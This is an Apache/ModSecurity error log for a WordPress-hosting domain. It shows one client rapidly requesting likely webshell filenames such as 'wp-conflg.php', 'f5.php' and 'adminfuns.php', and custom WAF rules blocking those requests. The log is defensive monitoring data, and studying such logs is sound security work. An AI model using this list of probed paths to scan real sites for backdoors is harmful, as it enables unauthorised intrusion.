[Fri Feb 13 00:17:20.791250 2026] [:error] [pid 46675:tid 46678] [client 20.215.189.110:13535] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aY39EDuaQILPonWFiQmmZwAAAUA"]
[Fri Feb 13 00:17:21.820747 2026] [:error] [pid 46675:tid 46688] [client 20.215.189.110:36916] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about.php"] [unique_id "aY39ETuaQILPonWFiQmmagAAAUo"]
[Fri Feb 13 00:17:22.861200 2026] [:error] [pid 46718:tid 46732] [client 20.215.189.110:36834] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x/"] [unique_id "aY39EkdfX45LelQwruRnUgAAAcs"]
[Fri Feb 13 00:17:23.604057 2026] [:error] [pid 46675:tid 46687] [client 20.215.189.110:11366] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x/"] [unique_id "aY39EzuaQILPonWFiQmmbgAAAUk"]
[Fri Feb 13 00:17:24.576842 2026] [:error] [pid 63511:tid 63513] [client 20.215.189.110:11333] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x/"] [unique_id "aY39FKQCQbD5BgeyIk1S8gAAAAA"]
[Fri Feb 13 00:17:25.436151 2026] [:error] [pid 63416:tid 63431] [client 20.215.189.110:11567] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x/"] [unique_id "aY39Fb2wmecPaCHcM2_3_QAAAYo"]
[Fri Feb 13 00:17:26.021749 2026] [:error] [pid 65064:tid 65087] [client 20.215.189.110:12199] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aY39FhOvRgscTcqsMBkzdgAAANQ"]
[Fri Feb 13 00:17:26.863647 2026] [:error] [pid 63417:tid 63451] [client 20.215.189.110:20856] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aY39Fv8gSb97qRMtXCIf4AAAAEI"]
[Fri Feb 13 00:17:27.720025 2026] [:error] [pid 63416:tid 63439] [client 20.215.189.110:6061] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aY39F72wmecPaCHcM2_3_gAAAZI"]
[Fri Feb 13 00:17:28.624382 2026] [:error] [pid 65064:tid 65090] [client 20.215.189.110:13518] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aY39GBOvRgscTcqsMBkzeQAAANc"]
[Fri Feb 13 00:17:29.488941 2026] [:error] [pid 46675:tid 46691] [client 20.215.189.110:20836] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aY39GTuaQILPonWFiQmmegAAAU0"]
[Fri Feb 13 00:17:30.299894 2026] [:error] [pid 63416:tid 63430] [client 20.215.189.110:11329] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aY39Gr2wmecPaCHcM2_4AAAAAYk"]
[Fri Feb 13 00:17:31.159616 2026] [:error] [pid 46603:tid 46628] [client 20.215.189.110:5601] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aY39G_Ei6O39v05JNJeycAAAARc"]
[Fri Feb 13 00:17:31.795539 2026] [:error] [pid 46675:tid 46698] [client 20.215.189.110:11370] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aY39GzuaQILPonWFiQmmggAAAVQ"]
[Fri Feb 13 00:17:34.670464 2026] [:error] [pid 46675:tid 46681] [client 20.215.189.110:11565] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aY39HjuaQILPonWFiQmmhAAAAUM"]
[Fri Feb 13 00:17:36.135675 2026] [:error] [pid 46718:tid 46724] [client 20.215.189.110:9336] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aY39IEdfX45LelQwruRnYQAAAcM"]
[Fri Feb 13 00:17:37.075642 2026] [:error] [pid 46718:tid 46730] [client 20.215.189.110:5373] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aY39IUdfX45LelQwruRnZAAAAck"]
[Fri Feb 13 00:17:37.696336 2026] [:error] [pid 46718:tid 46745] [client 20.215.189.110:12182] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/"] [unique_id "aY39IUdfX45LelQwruRnZwAAAdg"]
[Fri Feb 13 00:17:38.440814 2026] [:error] [pid 63418:tid 63476] [client 20.215.189.110:36832] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aY39Itzjh-bbJnStPZIacgAAAIA"]
[Fri Feb 13 00:17:39.130357 2026] [:error] [pid 63417:tid 63468] [client 20.215.189.110:20808] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aY39I_8gSb97qRMtXCIf6wAAAFM"]
[Fri Feb 13 00:17:39.828986 2026] [:error] [pid 63511:tid 63529] [client 20.215.189.110:39294] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aY39I6QCQbD5BgeyIk1S_gAAABA"]
[Fri Feb 13 00:17:40.514782 2026] [:error] [pid 63416:tid 63436] [client 20.215.189.110:11357] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aY39JL2wmecPaCHcM2_4CAAAAY8"]
[Fri Feb 13 00:17:41.190488 2026] [:error] [pid 46603:tid 46625] [client 20.215.189.110:9321] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aY39JfEi6O39v05JNJeyeQAAARQ"]
[Fri Feb 13 00:17:42.723307 2026] [:error] [pid 63416:tid 63439] [client 20.215.189.110:10602] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aY39Jr2wmecPaCHcM2_4CQAAAZI"]
[Fri Feb 13 00:17:43.477480 2026] [:error] [pid 46675:tid 46689] [client 20.215.189.110:11527] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aY39JzuaQILPonWFiQmmkAAAAUs"]
[Fri Feb 13 00:17:44.198633 2026] [:error] [pid 46718:tid 46730] [client 20.215.189.110:10567] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aY39KEdfX45LelQwruRnbgAAAck"]
[Fri Feb 13 00:17:45.147770 2026] [:error] [pid 46718:tid 46739] [client 20.215.189.110:9527] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aY39KUdfX45LelQwruRncgAAAdI"]
[Fri Feb 13 00:17:45.701143 2026] [:error] [pid 46718:tid 46737] [client 20.215.189.110:39279] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aY39KUdfX45LelQwruRndAAAAdA"]
[Fri Feb 13 00:17:46.504742 2026] [:error] [pid 46675:tid 46678] [client 20.215.189.110:6056] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aY39KjuaQILPonWFiQmmlAAAAUA"]
[Fri Feb 13 00:17:47.235604 2026] [:error] [pid 46675:tid 46682] [client 20.215.189.110:32033] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "aY39KzuaQILPonWFiQmmlwAAAUQ"]
[Fri Feb 13 00:17:48.238270 2026] [:error] [pid 65064:tid 65076] [client 20.215.189.110:6064] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aY39LBOvRgscTcqsMBkzhAAAAMk"]
[Fri Feb 13 00:17:48.878365 2026] [:error] [pid 46675:tid 46689] [client 20.215.189.110:32023] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aY39LDuaQILPonWFiQmmnAAAAUs"]
[Fri Feb 13 00:17:49.782512 2026] [:error] [pid 63418:tid 63482] [client 20.215.189.110:39248] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aY39Ldzjh-bbJnStPZIadgAAAIY"]
[Fri Feb 13 00:17:50.857208 2026] [:error] [pid 46603:tid 46609] [client 20.215.189.110:37373] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/flower.php"] [unique_id "aY39LvEi6O39v05JNJeyfQAAAQQ"]
[Fri Feb 13 00:17:51.617870 2026] [:error] [pid 46718:tid 46722] [client 20.215.189.110:10063] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aY39L0dfX45LelQwruRnfAAAAcE"]
[Fri Feb 13 00:17:52.470800 2026] [:error] [pid 46718:tid 46723] [client 20.215.189.110:32043] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aY39MEdfX45LelQwruRnfgAAAcI"]
[Fri Feb 13 00:17:53.272822 2026] [:error] [pid 46718:tid 46742] [client 20.215.189.110:10768] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aY39MUdfX45LelQwruRnfwAAAdU"]
[Fri Feb 13 00:17:53.908054 2026] [:error] [pid 63511:tid 63533] [client 20.215.189.110:10808] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aY39MaQCQbD5BgeyIk1TCAAAABQ"]
[Fri Feb 13 00:17:54.602269 2026] [:error] [pid 46718:tid 46734] [client 20.215.189.110:15019] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aY39MkdfX45LelQwruRnggAAAc0"]
[Fri Feb 13 00:17:55.276877 2026] [:error] [pid 63417:tid 63450] [client 20.215.189.110:16304] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aY39M_8gSb97qRMtXCIf7QAAAEE"]
[Fri Feb 13 00:17:55.958218 2026] [:error] [pid 63417:tid 63460] [client 20.215.189.110:8725] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aY39M_8gSb97qRMtXCIf7gAAAEs"]
[Fri Feb 13 00:17:56.719590 2026] [:error] [pid 46718:tid 46735] [client 20.215.189.110:43592] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aY39NEdfX45LelQwruRnhQAAAc4"]
[Fri Feb 13 00:17:57.898924 2026] [:error] [pid 63418:tid 63480] [client 20.215.189.110:9221] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aY39Ndzjh-bbJnStPZIafAAAAIQ"]
[Fri Feb 13 00:17:58.914267 2026] [:error] [pid 46603:tid 46609] [client 20.215.189.110:15001] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aY39NvEi6O39v05JNJeyigAAAQQ"]
[Fri Feb 13 00:17:59.576627 2026] [:error] [pid 46718:tid 46745] [client 20.215.189.110:9245] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aY39N0dfX45LelQwruRnjgAAAdg"]
[Fri Feb 13 00:18:00.411032 2026] [proxy_fcgi:error] [pid 63418:tid 63495] [client 20.215.189.110:31521] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:18:02.601056 2026] [proxy_fcgi:error] [pid 63418:tid 63488] [client 20.215.189.110:31521] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:18:02.858423 2026] [:error] [pid 63418:tid 63491] [client 20.215.189.110:31521] [client 20.215.189.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aY39Otzjh-bbJnStPZIahQAAAI8"]
[Fri Feb 13 00:18:03.598759 2026] [proxy_fcgi:error] [pid 63418:tid 63494] [client 20.215.189.110:27920] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:18:03.928628 2026] [proxy_fcgi:error] [pid 63418:tid 63493] [client 20.215.189.110:27920] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:18:04.254142 2026] [proxy_fcgi:error] [pid 63418:tid 63492] [client 20.215.189.110:27920] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:18:04.572078 2026] [proxy_fcgi:error] [pid 63418:tid 63490] [client 20.215.189.110:27920] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:18:04.893038 2026] [proxy_fcgi:error] [pid 63418:tid 63485] [client 20.215.189.110:27920] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:18:05.289898 2026] [proxy_fcgi:error] [pid 63418:tid 63489] [client 20.215.189.110:27920] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:18:05.601812 2026] [proxy_fcgi:error] [pid 63418:tid 63500] [client 20.215.189.110:27920] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:18:05.998838 2026] [:error] [pid 63418:tid 63496] [client 20.215.189.110:27920] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aY39Pdzjh-bbJnStPZIakgAAAJQ"]
[Fri Feb 13 00:18:06.769305 2026] [:error] [pid 63417:tid 63473] [client 20.215.189.110:12229] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aY39Pv8gSb97qRMtXCIf9AAAAFg"]
[Fri Feb 13 00:18:07.580447 2026] [:error] [pid 63417:tid 63459] [client 20.215.189.110:31530] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aY39P_8gSb97qRMtXCIf9wAAAEo"]
[Fri Feb 13 00:18:08.453243 2026] [:error] [pid 63417:tid 63460] [client 20.215.189.110:39035] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aY39QP8gSb97qRMtXCIf-AAAAEs"]
[Fri Feb 13 00:18:09.250851 2026] [:error] [pid 46675:tid 46679] [client 20.215.189.110:39030] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aY39QTuaQILPonWFiQmmrAAAAUE"]
[Fri Feb 13 00:18:09.958382 2026] [:error] [pid 63417:tid 63469] [client 20.215.189.110:12266] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aY39Qf8gSb97qRMtXCIf_QAAAFQ"]
[Fri Feb 13 00:18:10.615364 2026] [:error] [pid 46603:tid 46626] [client 20.215.189.110:14990] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aY39QvEi6O39v05JNJeykgAAARU"]
[Fri Feb 13 00:18:11.313750 2026] [:error] [pid 65064:tid 65091] [client 20.215.189.110:43615] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aY39QxOvRgscTcqsMBkzkwAAANg"]
